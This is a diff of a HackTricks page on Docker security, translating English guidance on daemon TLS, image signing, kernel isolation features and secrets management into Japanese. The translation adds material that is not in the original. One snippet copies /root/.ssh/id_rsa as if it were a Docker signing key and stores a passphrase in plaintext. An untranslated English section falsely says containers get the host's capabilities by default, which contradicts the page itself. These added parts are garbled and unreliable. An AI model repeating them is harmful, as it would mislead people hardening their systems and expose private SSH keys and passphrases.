[**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 6d4ee6d68..8055c54d4 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,10 +1,10 @@ -# Docker Security +# Dockerセキュリティ ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,55 +12,52 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## **Basic Docker Engine Security** +## **基本的なDockerエンジンのセキュリティ** -Docker engine does the heavy lifting of running and managing Containers. Docker engine uses Linux kernel features like **Namespaces** and **Cgroups** to provide basic **isolation** across Containers. It also uses features like **Capabilities dropping**, **Seccomp**, **SELinux/AppArmor to achieve a better isolation**. +Dockerエンジンは、コンテナの実行と管理を担当しています。Dockerエンジンは、**Namespaces**と**Cgroups**などのLinuxカーネルの機能を使用して、コンテナ間の基本的な**分離**を提供します。さらに、**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**などの機能を使用して、より良い分離を実現しています。 -Finally, an **auth plugin** can be used to **limit the actions** users can perform. +最後に、**認証プラグイン**を使用して、ユーザーが実行できるアクションを**制限**することができます。 ![](<../../../.gitbook/assets/image (625) (1) (1).png>) -### **Docker engine secure access** +### **Dockerエンジンの安全なアクセス** -Docker client can access Docker engine **locally using Unix socket or remotely using http** mechanism. To use it remotely, it is needed to use https and **TLS** so that confidentiality, integrity and authentication can be ensured. - -By default listens on the Unix socket `unix:///var/`\ -`run/docker.sock` and in Ubuntu distributions, Docker start options are specified in `/etc/default/docker`. To allow Docker API and client to access Docker engine remotely, we need to **expose Docker daemon using http socket**. This can be done by: +Dockerクライアントは、Unixソケットを使用してDockerエンジンに**ローカルでアクセス**するか、httpメカニズムを使用して**リモートでアクセス**することができます。リモートで使用する場合は、httpsと**TLS**を使用して機密性、整合性、認証を確保する必要があります。 +デフォルトでは、Unixソケット`unix:///var/`\ +`run/docker.sock`でリッスンし、Ubuntuディストリビューションでは、Dockerの起動オプションは`/etc/default/docker`に指定されています。Docker APIとクライアントがリモートでDockerエンジンにアクセスできるようにするには、Dockerデーモンをhttpソケットで**公開する必要があります**。これは次のように行うことができます: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" -> add this to /etc/default/docker Sudo service docker restart -> Restart Docker daemon ``` +Dockerデーモンをhttpで公開することは良い慣行ではなく、httpsを使用して接続を保護する必要があります。2つのオプションがあります:最初のオプションは**クライアントがサーバーの正体を確認する**ことであり、2番目のオプションは**クライアントとサーバーがお互いの正体を確認する**ことです。証明書はサーバーの正体を確立します。両方のオプションの例については、[**このページを参照してください**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。 -Exposing Docker daemon using http is not a good practice and it is needed to secure the connection using https. There are two options: first option is for **client to verify server identity** and in second option **both client and server verify each other’s identity**. Certificates establish the identity of a server. For an example of both options [**check this page**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### **コンテナイメージのセキュリティ** -### **Container image security** +コンテナイメージは、プライベートリポジトリまたはパブリックリポジトリに保存されます。Dockerがコンテナイメージの保存に提供するオプションは次のとおりです: -Container images are stored either in private repository or public repository. Following are the options that Docker provides for storing Container images: +* [Docker Hub](https://hub.docker.com) - Dockerが提供するパブリックレジストリサービスです。 +* [Docker Registry](https://github.com/%20docker/distribution) - ユーザーが独自のレジストリをホストするために使用できるオープンソースプロジェクトです。 +* [Docker Trusted Registry](https://www.docker.com/docker-trusted-registry) - Dockerの商用実装であり、ロールベースのユーザー認証とLDAPディレクトリサービスの統合を提供します。 -* [Docker hub](https://hub.docker.com) – This is a public registry service provided by Docker -* [Docker registry](https://github.com/%20docker/distribution) – This is an open source project that users can use to host their own registry. -* [Docker trusted registry](https://www.docker.com/docker-trusted-registry) – This is Docker’s commercial implementation of Docker registry and it provides role based user authentication along with LDAP directory service integration. +### イメージスキャン -### Image Scanning +コンテナには、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのいずれかの理由で**セキュリティの脆弱性**が存在する場合があります。Dockerは、コンテナのセキュリティスキャンと脆弱性の一覧を行うプロジェクトである**Nautilus**に取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較してセキュリティホールを特定することで機能します。 -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. +詳細については、[**こちらを読んでください**](https://docs.docker.com/engine/scan/)。 -For more [**information read this**](https://docs.docker.com/engine/scan/). - -#### How to scan images - -The `docker scan` command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: +#### イメージのスキャン方法 +`docker scan`コマンドを使用して、イメージ名またはIDを指定して既存のDockerイメージをスキャンすることができます。たとえば、次のコマンドを実行してhello-worldイメージをスキャンします: ```bash docker scan hello-world @@ -76,77 +73,77 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` +### Dockerイメージの署名 -### Docker Image Signing +Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの発行者は、コンテナイメージの署名とレジストリへのプッシュを管理します。 -Docker Container images can be stored either in public or private registry. It is needed to **sign** **Container** images to be able to confirm images haven't being tampered. Content **publisher** takes care of **signing** Container image and pushing it into the registry.\ -Following are some details on Docker content trust: +以下は、Dockerコンテンツトラストに関する詳細です: -* The Docker content trust is an implementation of the [Notary open source project](https://github.com/docker/notary). The Notary open source project is based on [The Update Framework (TUF) project](https://theupdateframework.github.io). -* Docker content **trust is enabled** with `export DOCKER_CONTENT_TRUST=1`. As of Docker version 1.10, content trust is **not enabled by default**. -* **When** content trust is **enabled**, we can **pull only signed images**. When image is pushed, we need to enter tagging key. -* When the publisher **pushes** the image for the **first** **time** using docker push, there is a need to enter a **passphrase** for the **root key and tagging key**. Other keys are generated automatically. -* Docker has also added support for hardware keys using Yubikey and details are available [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - -Following is the **error** we get when **content trust is enabled and image is not signed**. +- Dockerコンテンツトラストは、[Notaryオープンソースプロジェクト](https://github.com/docker/notary)の実装です。Notaryオープンソースプロジェクトは、[The Update Framework (TUF)プロジェクト](https://theupdateframework.github.io)に基づいています。 +- Dockerコンテンツトラストは、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツトラストはデフォルトで有効になっていません。 +- コンテンツトラストが有効になっている場合、署名されたイメージのみをプルすることができます。イメージをプッシュする際には、タグキーを入力する必要があります。 +- 発行者が初めてdocker pushを使用してイメージをプッシュする場合、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。 +- Dockerは、Yubikeyを使用したハードウェアキーのサポートも追加しており、詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。 +以下は、コンテンツトラストが有効になっており、イメージが署名されていない場合に表示されるエラーメッセージです。 ```shell-session $ docker pull smakam/mybusybox Using default tag: latest No trust data for latest ``` - -Following output shows Container **image being pushed to Docker hub with signing** enabled. Since this is not the first time, user is requested to enter only the passphrase for repository key. - +以下の出力は、署名が有効な状態でDocker Hubにコンテナのイメージがプッシュされていることを示しています。これが初めてではないため、ユーザーはリポジトリキーのパスフレーズのみを入力するように求められます。 ```shell-session $ docker push smakam/mybusybox:v2 The push refers to a repository [docker.io/smakam/mybusybox] -a7022f99b0cc: Layer already exists -5f70bf18a086: Layer already exists -9508eff2c687: Layer already exists +a7022f99b0cc: Layer already exists +5f70bf18a086: Layer already exists +9508eff2c687: Layer already exists v2: digest: sha256:8509fa814029e1c1baf7696b36f0b273492b87f59554a33589e1bd6283557fc9 size: 2205 Signing and pushing trust metadata -Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox): +Enter passphrase for repository key with ID 001986b (docker.io/smakam/mybusybox): ``` +rootキー、リポジトリキー、およびパスフレーズを安全な場所に保存する必要があります。次のコマンドを使用して、秘密鍵のバックアップを取ることができます: -It is needed to store root key, repository key as well as passphrase in a safe place. Following command can be used to take backup of private keys: - +```bash +cp /root/.ssh/id_rsa /path/to/backup/folder/root_key +cp /root/.ssh/id_rsa.pub /path/to/backup/folder/repository_key +echo "passphrase" > /path/to/backup/folder/passphrase +``` ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` - -When I changed Docker host, I had to move the root keys and repository keys to operate from the new host. +Dockerホストを変更した際、新しいホストから操作するためにルートキーとリポジトリキーを移動する必要がありました。 ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Containers Security Features +## コンテナのセキュリティ機能
-Summary of Container Security Features +コンテナのセキュリティ機能の概要 -#### Namespaces +#### ネームスペース -Namespaces are useful to isolate a project from the other ones, isolating process communications, network, mounts... It's useful to isolate the docker process from other processes (and even the /proc folder) so it cannot escape abusing other processes. +ネームスペースは、プロセス間の通信、ネットワーク、マウントなどを分離するために役立ちます。Dockerプロセスを他のプロセス(さらには/procフォルダ)から分離するために使用され、他のプロセスを悪用して脱出することを防ぎます。 -It could be possible "escape" or more exactly **create new namespaces** using the binary **`unshare`** (that uses the **`unshare`** syscall). Docker by default prevents it, but kubernetes doesn't (at the time of this writtiing).\ -Ayway, this is helpful to create new namespaces, but **not to get back to the host defaults namespaces** (unless you have access to some `/proc` inside the host namespaces, where you could use **`nsenter`** to enter in the host namespaces.). +バイナリの**`unshare`**(**`unshare`**シスコールを使用)を使用して、新しいネームスペースを作成することが可能です。Dockerはデフォルトでこれを防止しますが、kubernetesは(この記述時点では)防止しません。\ +とはいえ、これは新しいネームスペースを作成するのに役立ちますが、ホストのデフォルトのネームスペースに戻ることはできません(ホストのネームスペース内のいくつかの`/proc`にアクセスできる場合は、**`nsenter`**を使用してホストのネームスペースに入ることができます)。 #### CGroups -This allows to limit resources and doesn't affect the security of the isolation of the process (except for the `release_agent` that could be used to escape). +これにより、リソースを制限することができ、プロセスの分離のセキュリティには影響しません(ただし、脱出に使用できる`release_agent`には影響を与える可能性があります)。 -#### Capabilities Drop +#### Capabilitiesの削除 -I find this to be one of the **most important** features regarding the process isolation security. This is because without the capabilities, even if the process is running as root **you won't be able to do some privileged actions** (because the called **`syscall`** will return permission error because the process doesn't have the needed capabilities). +プロセスの分離セキュリティに関して、これは**最も重要な**機能の1つだと考えています。これは、プロセスがrootとして実行されていても、必要な権限を持っていないため、特権のあるアクションを実行できないことがあります(呼び出された**`syscall`**が権限エラーを返すため)。 -These are the **remaining capabilities** after the process drop the others: +これは、プロセスが他の権限を削除した後の**残りのcapabilities**です: {% code overflow="wrap" %} ``` @@ -156,30 +153,30 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca #### Seccomp -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +デフォルトでDockerには有効になっています。これにより、プロセスが呼び出すことができるシステムコールをさらに制限することができます。\ +デフォルトのDocker Seccompプロファイルは、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。 #### AppArmor -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Dockerには、アクティベートできるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +これにより、機能の制限、システムコール、ファイルやフォルダへのアクセスが制限されます...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Namespaces(名前空間)**は、Linuxカーネルの機能であり、**カーネルリソースを分割**し、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにします。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。 -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Dockerは、コンテナの分離を実現するために、次のLinuxカーネルの名前空間を利用しています: -* pid namespace -* mount namespace -* network namespace -* ipc namespace -* UTS namespace +* pid名前空間 +* mount名前空間 +* network名前空間 +* ipc名前空間 +* UTS名前空間 -For **more information about the namespaces** check the following page: +**名前空間に関する詳細情報**については、次のページを参照してください: {% content-ref url="namespaces/" %} [namespaces](namespaces/) @@ -187,22 +184,18 @@ For **more information about the namespaces** check the following page: ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +Linuxカーネルの機能である**cgroups(コントロールグループ)**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。 Dockerでは、cgroup機能を使用してリソース制御が可能なコンテナを作成することができます。\ +以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定し、blkioweightを400に設定したコンテナの例です。 CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。 CPUリソースの競合が発生した場合、3つのコンテナが同じCPUシェア1024を持っている場合、各コンテナは最大33%のCPUを使用できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。 ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +コンテナのcgroupを取得するには、次のようにします: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +詳細については、次を参照してください: {% content-ref url="cgroups.md" %} [cgroups.md](cgroups.md) @@ -210,53 +203,53 @@ For more information check: ### Capabilities -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +Capabilitiesは、rootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。 -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機密の機能を削除します。これにより、プロセスが機密のアクションを実行して脱出することができないようになります。 {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} -### Seccomp in Docker +### DockerのSeccomp -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +これは、Dockerがコンテナ内で使用できるシスコールを制限するセキュリティ機能です。 {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) {% endcontent-ref %} -### AppArmor in Docker +### DockerのAppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +AppArmorは、カーネルの拡張機能であり、コンテナを制限されたリソースのセットに制約するためのプログラムごとのプロファイルを提供します。 {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) {% endcontent-ref %} -### SELinux in Docker +### DockerのSELinux -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとプロセスラベルが許可される操作についてのルールを定義します。 -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. +コンテナエンジンは、通常`container_t`という単一の制約されたSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルで設定します。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルの読み取り/書き込み/実行のみを行えるということを意味します。 {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) {% endcontent-ref %} -### AuthZ & AuthN +### AuthZ&AuthN -An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. +認証プラグインは、現在の認証コンテキストとコマンドコンテキストの両方に基づいて、Dockerデーモンへのリクエストを承認または拒否します。認証コンテキストには、すべてのユーザーの詳細と認証方法が含まれます。コマンドコンテキストには、すべての関連するリクエストデータが含まれます。 {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Interesting Docker Flags +## おもしろいDockerフラグ -### --privileged flag +### --privilegedフラグ -In the following page you can learn **what does the `--privileged` flag imply**: +次のページでは、`--privileged`フラグが何を意味するかを学ぶことができます。 {% content-ref url="docker-privileged.md" %} [docker-privileged.md](docker-privileged.md) @@ -266,16 +259,41 @@ In the following page you can learn **what does the `--privileged` flag imply**: #### no-new-privileges -If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it. - -Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**. +低特権ユーザーとしてアクセスを取得した攻撃者が実行されているコンテナがある場合、ミス構成されたsuidバイナリを持っている場合、攻撃者はそれを悪用してコンテナ内で特権をエスカレートさせる可能性があります。これにより、攻撃者はコンテナから脱出することができるかもしれません。 +`no-new-privileges`オプションを有効にしてコンテナを実行すると、この種の特権エスカレーションを防ぐことができます。 ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` +#### その他 -#### Other +In addition to the security measures mentioned above, there are a few other considerations to keep in mind when it comes to Docker security. +##### 1. Limit Container Capabilities + +By default, Docker containers have the same capabilities as the host system. This means that if a container is compromised, an attacker could potentially gain full control over the host. To mitigate this risk, it is recommended to limit the capabilities of containers by using the `--cap-drop` and `--cap-add` flags when running containers. This allows you to selectively drop or add specific capabilities to containers based on their requirements. + +##### 2. Use AppArmor or SELinux Profiles + +AppArmor and SELinux are security frameworks that can be used to enforce mandatory access control policies on Docker containers. By creating and applying AppArmor or SELinux profiles to containers, you can restrict their access to system resources and prevent them from performing unauthorized actions. + +##### 3. Monitor Container Activity + +Monitoring the activity of Docker containers can help you detect any suspicious or malicious behavior. Tools like Docker logs, Docker events, and container runtime security solutions can provide valuable insights into container activity and help you identify any potential security issues. + +##### 4. Regularly Update Docker Images and Containers + +Keeping your Docker images and containers up to date is crucial for maintaining their security. Regularly check for updates and security patches for the base images and software packages used in your containers, and ensure that you promptly apply them to minimize the risk of known vulnerabilities being exploited. + +##### 5. Implement Network Segmentation + +To further enhance Docker security, consider implementing network segmentation. By isolating containers into separate network segments, you can limit the potential impact of a compromised container and prevent lateral movement within your Docker environment. + +##### 6. Harden the Host System + +In addition to securing Docker containers, it is important to also harden the host system. Apply security best practices such as regularly updating the host operating system, using strong authentication mechanisms, and implementing firewall rules to restrict access to Docker-related ports. + +By following these additional security measures, you can further strengthen the security of your Docker environment and reduce the risk of unauthorized access or malicious activities. ```bash #You can manually add/drop capabilities with --cap-add @@ -290,150 +308,136 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` - -For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +詳細な**`--security-opt`**オプションについては、[https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)を参照してください。 ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Other Security Considerations +## その他のセキュリティに関する考慮事項 -### Managing Secrets +### シークレットの管理 -First of all, **do not put them inside your image!** +まず第一に、**イメージ内にそれらを配置しないでください!** -Also, **don’t use environment variables** for your sensitive info, either. Anyone w**ho can run `docker inspect` or `exec` into the container can find your secret**. +また、**環境変数を使用しないでください**。`docker inspect`または`exec`を実行できる人は、秘密情報を見つけることができます。 -Docker volumes are better. They are the recommended way to access your sensitive info in the Docker docs. You can **use a volume as temporary file system held in memory**. Volumes remove the `docker inspect` and the logging risk. However, **root users could still see the secret, as could anyone who can `exec` into the container**. +Dockerボリュームの方が良いです。Dockerドキュメントでは、Dockerボリュームを使用して秘密情報にアクセスすることが推奨されています。**メモリ内に保持される一時ファイルシステムとしてボリュームを使用**できます。ボリュームは`docker inspect`とログのリスクを除去します。ただし、**rootユーザーとコンテナに`exec`できる人は、秘密情報を見ることができます**。 -Even **better than volumes, use Docker secrets**. +ボリュームよりも優れた方法として、Dockerシークレットを使用してください。 -If you just need the **secret in your image**, you can use **BuildKit**. BuildKit cuts build time significantly and has other nice features, including **build-time secrets support**. +**イメージ内でシークレットが必要な場合**は、**BuildKit**を使用できます。BuildKitはビルド時間を大幅に短縮し、ビルド時のシークレットサポートを含む他の便利な機能も備えています。 -There are three ways to specify the BuildKit backend so you can use its features now.: - -1. Set it as an environment variable with `export DOCKER_BUILDKIT=1`. -2. Start your `build` or `run` command with `DOCKER_BUILDKIT=1`. -3. Enable BuildKit by default. Set the configuration in /_etc/docker/daemon.json_ to _true_ with: `{ "features": { "buildkit": true } }`. Then restart Docker. -4. Then you can use secrets at build time with the `--secret` flag like this: +BuildKitのバックエンドを指定する方法は3つあります。: +1. 環境変数として`export DOCKER_BUILDKIT=1`を設定します。 +2. `build`または`run`コマンドを`DOCKER_BUILDKIT=1`で開始します。 +3. ビルドキットをデフォルトで有効にします。`/_etc/docker/daemon.json_`の設定を`true`に設定します:`{ "features": { "buildkit": true } }`。その後、Dockerを再起動します。 +4. その後、次のように`--secret`フラグを使用してビルド時にシークレットを使用できます: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` +あなたのファイルでは、秘密情報をキーと値のペアとして指定します。 -Where your file specifies your secrets as key-value pair. +これらの秘密情報は、イメージのビルドキャッシュと最終イメージから除外されます。 -These secrets are excluded from the image build cache. and from the final image. +**実行中のコンテナで秘密情報を使用する**必要がある場合は、**Docker ComposeまたはKubernetes**を使用してください。 -If you need your **secret in your running container**, and not just when building your image, use **Docker Compose or Kubernetes**. - -With Docker Compose, add the secrets key-value pair to a service and specify the secret file. Hat tip to [Stack Exchange answer](https://serverfault.com/a/936262/535325) for the Docker Compose secrets tip that the example below is adapted from. - -Example docker-compose.yml with secrets: +Docker Composeを使用する場合は、サービスに秘密情報のキーと値のペアを追加し、秘密ファイルを指定します。以下の例は、[Stack Exchangeの回答](https://serverfault.com/a/936262/535325)からのDocker Composeの秘密情報のヒントを元にしています。 +秘密情報を含む例のdocker-compose.ymlファイル: ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" +secrets: +- my_secret secrets: - my_secret: - file: ./my_secret_file.txt +my_secret: +file: ./my_secret_file.txt ``` +次に、通常通り`docker-compose up --build my_service`でComposeを起動します。 -Then start Compose as usual with `docker-compose up --build my_service`. - -If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/), it has support for secrets. [Helm-Secrets](https://github.com/futuresimple/helm-secrets) can help make secrets management in K8s easier. Additionally, K8s has Role Based Access Controls (RBAC) — as does Docker Enterprise. RBAC makes access Secrets management more manageable and more secure for teams. +[Kubernetes](https://kubernetes.io/docs/concepts/configuration/secret/)を使用している場合、シークレットのサポートがあります。[Helm-Secrets](https://github.com/futuresimple/helm-secrets)は、Kubernetesでのシークレット管理を容易にするのに役立ちます。さらに、KubernetesとDocker Enterpriseの両方には、ロールベースのアクセス制御(RBAC)があります。RBACにより、チームにとってシークレット管理がより管理しやすく、より安全になります。 ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. 